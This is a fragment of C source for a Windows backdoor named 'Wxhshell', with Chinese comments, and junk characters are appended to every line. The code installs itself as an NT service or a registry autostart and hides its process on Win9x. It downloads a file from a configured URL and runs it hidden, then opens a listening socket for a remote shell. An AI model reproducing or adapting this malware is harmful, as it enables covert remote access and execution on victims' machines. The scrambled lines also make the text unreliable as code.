} PROCESS_BASIC_INFORMATION; rYPj3!#
:?f^D,w_B
PROCNTQSIP NtQueryInformationProcess; d0}P
pv@w 8*
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,FWsgqL{l
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y[d>7fcf
?eOw8Rom
HANDLE hProcess; DQ9}('^
PROCESS_BASIC_INFORMATION pbi; gX;)A|9e
UKzXz0
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 't'2z
if(NULL == hInst ) return 0; 2*TPW
h4N&Ybfo
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kadw1sYj
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); iE,/x^&,&
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~%QI#s?|
(Z?g^kjq)
if (!NtQueryInformationProcess) return 0; p61F@=EL
@|d+T"f
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z!*k 0<Z
if(!hProcess) return 0; Hk@LHC
37 d-!
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; F`M`c%
|C}= 1
CloseHandle(hProcess); ie}?}s
OpLUmn
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `Tc"a_p9t
if(hProcess==NULL) return 0; "HtaJVp//
~=gpn|@b
HMODULE hMod; ~qkn1N%'
char procName[255]; )uC5
unsigned long cbNeeded; ]; *?`}#
wG
X\ub#!
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8XD_p);Oy
{\55\e/C,
CloseHandle(hProcess); E{]PfUfFY
epG!V#I
if(strstr(procName,"services")) return 1; // 以服务启动 GU7f27p
jO}<W 1qy
return 0; // 注册表启动 2-beq<I
} J=Hyoz+9
="P&!lu
// 主模块 7.bPPr&
int StartWxhshell(LPSTR lpCmdLine) `gz/?q
{ 2q ~y\fe
SOCKET wsl;
>f*Zf(F
BOOL val=TRUE; O6n]l
int port=0; \?"p]&2UcB
struct sockaddr_in door; tC\(H=ecP
lS/l
iI'Y
if(wscfg.ws_autoins) Install(); l09DH+
s3y"y_u
port=atoi(lpCmdLine); 6-QcHJ>m6U
?wREX[Tqs
if(port<=0) port=wscfg.ws_port; e`zCz`R
Y7<(_p7
WSADATA data; ahg]OWn#
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9{8xMM-
C=`MzZ bJ
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; `_!R;f
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R})b%y`]
door.sin_family = AF_INET; B:#9
door.sin_addr.s_addr = inet_addr("127.0.0.1"); }-~LXL%!3
door.sin_port = htons(port); Z ty9O8g
qe |U*K
2_
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6/.cS4
closesocket(wsl); CvRO'
return 1; 6Cgc-KNbk
} ,&G!9}EC
L u1pxL
if(listen(wsl,2) == INVALID_SOCKET) { ^y[- e9O|
closesocket(wsl); |>KOlwh5n
return 1; id[caP=`
} _kdt0Vr,L
Wxhshell(wsl); gl 27&'?E*
WSACleanup(); k(M(]y_
xM![
return 0; mX[J15
yaPx=^&
} u,./,:O%=
fndbGbl8p
// 以NT服务方式启动 z/wwe\ a5
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 009Q#[A
{ rUZ09>nDy
DWORD status = 0; :Z+Jt=;
DWORD specificError = 0xfffffff; PxA
OKUpI
RcOfesW
o
serviceStatus.dwServiceType = SERVICE_WIN32; f([d/
serviceStatus.dwCurrentState = SERVICE_START_PENDING; pj Md
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )j. .)o
serviceStatus.dwWin32ExitCode = 0; *gOUpbtXa
serviceStatus.dwServiceSpecificExitCode = 0; d&naJ)IoF)
serviceStatus.dwCheckPoint = 0; RLfB]\w
serviceStatus.dwWaitHint = 0; pO)5NbU
\LM.>vJ
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); OO\$'%
y`
if (hServiceStatusHandle==0) return; sY:=bU^P
#fb&51
status = GetLastError(); Qh+zs^-?
if (status!=NO_ERROR) v1p^="IHI
{ B_*Ayk
serviceStatus.dwCurrentState = SERVICE_STOPPED; ?hYWxWW
serviceStatus.dwCheckPoint = 0; U:bnX51D4
serviceStatus.dwWaitHint = 0; 85lcd4&~
serviceStatus.dwWin32ExitCode = status; q@1xYz:J
serviceStatus.dwServiceSpecificExitCode = specificError; KxDp+]N]
SetServiceStatus(hServiceStatusHandle, &serviceStatus);
g([M hf#
return;
?}#Iu-IA
} e xkPu-[W
<6+T&Ov6
serviceStatus.dwCurrentState = SERVICE_RUNNING; @hy~H?XN
serviceStatus.dwCheckPoint = 0; [_:
GQ
serviceStatus.dwWaitHint = 0; R?M>uaxn
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #7@p
} L3A2A
)y{:Uc\4!
// 处理NT服务事件,比如:启动、停止 a'A<'(yv
VOID WINAPI NTServiceHandler(DWORD fdwControl) w~yC^`
{ [&kz4_
switch(fdwControl) rQosI:$
{ wNU;gz
case SERVICE_CONTROL_STOP: !(gSXe)*
serviceStatus.dwWin32ExitCode = 0; qae|?z
serviceStatus.dwCurrentState = SERVICE_STOPPED;
+
)[@
serviceStatus.dwCheckPoint = 0; |a%Wd
serviceStatus.dwWaitHint = 0; '8[;
m_S
{ Hg$7[um
SetServiceStatus(hServiceStatusHandle, &serviceStatus); G #M0
C>n
} z#1"0Ks&P
return; xsiJI1/68
case SERVICE_CONTROL_PAUSE: R:j
mn
serviceStatus.dwCurrentState = SERVICE_PAUSED; ;e< TEs
break; =T\=,B
case SERVICE_CONTROL_CONTINUE: N,l"9>CF
serviceStatus.dwCurrentState = SERVICE_RUNNING; u:mndTpB6x
break; X?XB!D7[
case SERVICE_CONTROL_INTERROGATE: (4Nj3x
o
break; q;UGiB^(A
}; Ay PtbrO
SetServiceStatus(hServiceStatusHandle, &serviceStatus); $/|vbe,
} p_X{'=SQ1
1b86@f
// 标准应用程序主函数 (=%0$(S>
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x,zYNNx5g
{ o\]U;#YD
*,IK4F6>:
// 获取操作系统版本 Ln t 1
OsIsNt=GetOsVer(); -/V(Z+dj
GetModuleFileName(NULL,ExeFile,MAX_PATH); W6_ rSVm
2pU'&8
// 从命令行安装 !zllvtK4
if(strpbrk(lpCmdLine,"iI")) Install(); \KzJNCOT
O6vxp?:^
// 下载执行文件 *8po0s
if(wscfg.ws_downexe) { 4 Yv:\c
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a(=lQ(v/?
WinExec(wscfg.ws_filenam,SW_HIDE); -
jCj_@n
} ir"t@"Y;o
'&dT
if(!OsIsNt) { ar6+n^pi0]
// 如果时win9x,隐藏进程并且设置为注册表启动 C#^y{q
HideProc(); [0aC]XQZ
StartWxhshell(lpCmdLine); (CY D]n
} MkL2I+*
else x^EW'-a
if(StartFromService()) E}v8Q~A(
// 以服务方式启动 I:G8B5{J
StartServiceCtrlDispatcher(DispatchTable); `:*2TLxIk
else 6/5,n0
// 普通方式启动 ;Q^>F6+_m
StartWxhshell(lpCmdLine); CbC[aVA=
i?;#ZNh
return 0; AU}kIm_+
}